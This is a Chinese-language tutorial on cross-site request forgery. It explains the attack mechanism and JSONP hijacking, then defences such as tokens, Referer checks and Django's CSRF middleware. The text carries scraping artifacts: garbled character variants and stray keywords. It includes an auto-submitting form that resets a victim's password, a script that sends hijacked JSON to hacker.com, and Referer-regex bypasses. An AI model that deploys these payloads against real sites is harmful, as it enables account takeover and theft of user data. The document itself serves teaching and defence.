CSRF,也称XSRF,即跨站请求伪造攻击,与XSS类似,但与XSS相比更难防范,是一种普遍存在于网站中的安全漏洞,常常与XSS一块儿配合攻击。
javascript
攻击者经过盗用用户身份悄悄发送一个请求,或执行某些恶意操做。
CSRF漏洞产生的主要缘由:php
关于CSRF的执行过程,这里引用自hyddd大佬画的图:
咱们知道,当咱们使用img等标签时,经过设置标签的src等属性引入外部资源,是能够被浏览器认为是合法的跨域请求,也就是说是能够带上Cookie访问的。
试想一下,若是咱们在a.com上放置一个img标签<img src=//b.com/del?id=1>
。当b.com的用户在cookie没过时的状况下访问a.com,此时浏览器会向b.com发送一个指向http://b.com/del?id=1
的GET
请求,而且这个请求是带上Cookie的,而b.com的服务器仅仅是经过cookie进行权限判断,那么服务器就会进行相应的操做,好比假设此处为删除某个文章,用户在不知情的状况下便已完成操做。html
这里涉及到同源策略,若是不是很清楚能够先去了解一下。前端
咱们知道,根据同源策略的规定,跨域请求是不容许带上Cookie等信息的,但是出于种种考虑最终没有进行彻底禁止,即存在某些合法的跨域请求。
一般由HTML标签src
、lowsrc
等属性产生的跨域请求是被浏览器认为是合法的跨域请求,而且此时并不须要javascript的参与。
由HTML标签发出的合法跨域请求与正常的用户点击发出的请求相比所不一样的是:二者请求头中的Referer值不一样。
不过值得说明的是IE浏览器在面对这种状况时会判断本地Cookie是否带上P3P属性,若是仅仅是内存Cookie则不受此影响。
CSRF不只仅只能针对GET请求,也能够针对POST请求,不过只能使用from标签进行自动提交,注意此处需用到javascript。java
<html> <head></head> <body> <form action="http://a.com/changepass" method="POST"> <input type="hidden" name="username" value="victim"> <input type="hidden" name="password" value="hacker"> <input id="sub" type="submit"> //可用样式表将按钮隐藏 </form> <script> document.getElementById("sub").click() </script> </body> </html>
除了经过HTML标签发送跨域请求外,还能够经过Ajax来发送跨域状况,不过Ajax是严格遵照CORS规则的。
关于CORS规则,不清楚的能够去看看evoA大佬的一篇文章跨域方式及其产生的安全问题。
简单来讲就是须要构造的xhr的withCredentials
属性也为true
才能带上Cookie进行跨域请求,与IE兼容性很差,且构造难度较Html复杂,故一般状况下咱们不使用Ajax来进行CSRF攻击。
一般使用Ajax来跨域进行CSRF攻击的漏洞通常都配合XSS漏洞,此时的Ajax与目标域相同,不受CORS的限制。web
攻击者构造恶意html,经过引诱用户/管理员访问,触发CSRF漏洞。
ajax
CSRF+XSS结合,产生的危害已几何倍数剧增。若是CSRF和XSS两个漏洞是在同一个域下的话,那么此时的CSRF已经变成了OSRF了,即本站点请求伪造(出自黑客攻防技术宝典Web实战篇第二版p366),此时已经变成XSS的请求伪造攻击,本文不在赘述。django
咱们知道网站api返回的数据类型通常为json型或Array型,这里咱们仅讨论json型。
当咱们须要调用远程api时json返回的数据通常以下:json
user({"name":"Yunen","work":"Student","xxxx":"xxxxxxxxx",......})
这是由于开发者若是须要调用远程服务器的api获取json数据,因为同源策略的限制,经过ajax获取就会显得比较麻烦,相比之下<script>
标签的开放策略,无疑是最好的方法去弥补这一缺陷,使得json数据能够进行方便的跨域传输。此处的user为回调函数名,通常为某个请求参数值(好比:callback),就上述例子说,只须要经过下面方法便可调用返回的数据:api
<script> function user(data){ console.log(data);//此时的json数据已经存储进了data变量中 } </script>
这种远程api接口十分容易受到CSRF攻击,咱们能够经过修改callback参数值并添加自定义函数,如:
<html> <head></head> <body> <script> function jsonphack(data){ new image().src="http://hacker.com/json.php?data="+escape(data); //将json返回的数据发送到黑客服务器上 } </script> <script src="http://127.0.0.1/1.php?callback=jsonphack"></script> </body> </html>
从零开始学CSRF
Web安全系列 -- Csrf漏洞
phpMyAdmin 4.7.x CSRF 漏洞利用
前边咱们说到,产生CSRF的缘由主要有两点,那么咱们能够针对这两点进行相应的防护。
咱们知道CSRF攻击的请求除了Cookie之外,其余的内容必须提早肯定好,那么若是咱们在服务端要求提交的某一个参数中是随机的值呢?
这里咱们称这个随机的、没法被预计的值叫作Token,通常是由服务端在接收到用户端请求后生成,返回给用户的Token一般放置在hidden表单或用户的Cookie里。
当用户打开正常的发送请求的页面时,服务器会生成一串随机的Token值给浏览器,在发送请求时带上此Token,服务端验证Token值,若是相匹配才执行相应的操做、销毁原Token以及生成并返回新的Token给用户,这样作不只仅起到了防护CSRF的做用,还能够防止表单的重复提交。
因为HTML标签产生的合法跨域只能是单向请求,没法经过CSRF直接取返回的内容,因此咱们没法使用CSRF先取Token值再构造请求,这使得Token能够起到防护CSRF的做用。
注意Token不该该放置在网页的Url中,若是放在Url中当浏览器自动访问外部资源,如img标签的src属性指向攻击者的服务器,Token会出现做为Referer发送给外部服务器,如下为相关实例:
前边咱们提到,CSRF伪造的请求与用户正常的请求相比最大的区别就是请求头中的Referer值不一样,使用咱们能够根据这点来防护CSRF。
在接收请求的服务端判断请求的Referer头是否为正常的发送请求的页面,若是不是,则进行拦截。
不过此方法有时也存在着必定的漏洞,好比可绕过等,因此最好仍是使用Token。
判断Referer的通常方法就是利用正则进行判断,而判断Referer的正则必定要写全,否则就会如上所说,可绕过!曾经的Wooyun上就有许多CSRF的漏洞是因为Referer的正则不规范致使。
好比^http\:\/\/a\.com
,只验证了是否Referer是否以http://a.com
开头,但是没想到咱们能够在本身的顶级域名添加一个子域名http://a.com.hacker.com
;还有http\:\/\/a\.com\/
,经过http://hacker.com/?http://a.com/
绕过。如下相关例子均为Referer绕过:
有些网站因为历史缘由会容许空Referer头,当https向http进行跳转时,使用Html标签(如img、iframe)进行CSRF攻击时,请求头是不会带上Referer的,能够达到空Referer的目的。
在发送请求前先须要输入基于服务端判断的验证码,机制与Token相似,防护CSRF效果很是好,不过此方法对用户的友好度不好。
关于CSRF的防御应首先关注高危操做的请求,好比:网上转帐、修改密码等,其次应重点关注那些能够散播的,好比:分享连接、发送消息等,再者是能辅助散播的,如取用户好友信息等,由于前者加上后者制造出来的CSRF蠕虫虽不如XSS蠕虫威力大,但是也不可小觑。最后应关注那些高权限帐户可以进行的特权操做,如:上传文件、添加管理员,在许多渗透测试中,即是起初利用这点一撸到底。
新建个Django项目,打开项目下的settings.py文件,能够看到这么一行代码:django.middleware.csrf.CsrfViewMiddleware
这个就是Django的CSRF防护机制,当咱们发送POST请求时Django会自动检测CSRF_Token值是否正确。咱们把Debug
打开,能够看到若是咱们的POST请求无CSRF_Token这个值,服务端会返回403报错。
如今咱们往表单上添加CSRF_Token的验证:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <form action="/login/" method="post"> {% raw %}{{% endraw %}% csrf_token %} //添加Token <input type="text" name="user" /> <input type="text" name="pwd" /> <input type="submit" value="登录" /> </form> </body> </html>
下图为生成的HTML,能够看到{% raw %}{{% endraw %}% csrf_token %}
这串代码被Django解析成了一个隐藏的input
标签,其中的值为token值,当咱们发送请求时必须带上这个值。
只有这样Django才会接受POST请求来的数据,不然返回错误,而且原登录页面的CSRF_Token从新生成,上一个进行销毁,很大程度上防护住了POST请求的CSRF。
补充一张暴漫系列图,引用自先知社区《聊聊CSRF漏洞攻防----久等的暴漫》做者:farmsec:
eval(window.name)
,那么咱们构造的iframe标签里能够添加个name属性与子页面进行通讯,例子:wooyun-2015-089971。从上到下挖掘难度依次递增
CSRF攻击不受Cookie的HttpOnly属性影响。
若是一个网站存在XSS漏洞,那么以上针对CSRF的防护几乎失去了做用。
鉴于Flash的凉势,这里暂不作研究以节省时间。
就目前而言,CSRF这个沉睡的巨人很有一番苏醒的意味,可致使的危害也正在逐步的为人们所知,但目前仍有许多开发人员尚未足够的安全意识,觉得只要验证Cookie就能肯定用户的真实意图了,这就致使了目前仍有大量潜在的CSRF漏洞的局面,CSRF是不可小觑的漏洞,但愿你们看完这篇文章能对CSRF有个较为清晰的认识。
虽然说这篇文章内容较为基础,但也是我熟读几本相关书籍与相关文章、研究已知漏洞,所写出来的一篇半总结,半思考文章,也许里边会有些错误,麻烦各位表哥斧正,若是有想要与我交流相关内容的能够email我(asp-php#foxmail.com #换成@)。
书籍:
《Web前端黑客技术揭秘》p83-p96
《XSS跨站脚本攻击剖析与防护》p182-p187
《黑客攻防技术宝典Web实战篇第二版》p368-p374
文章:
CSRF漏洞挖掘
WEB安全之Token浅谈
跨域方式及其产生的安全问题
Django中CSRF原理及应用详解
CSRF简单介绍及利用方法 | WooYun知识库
原生JSONP实现_动态加载js(利用script标签)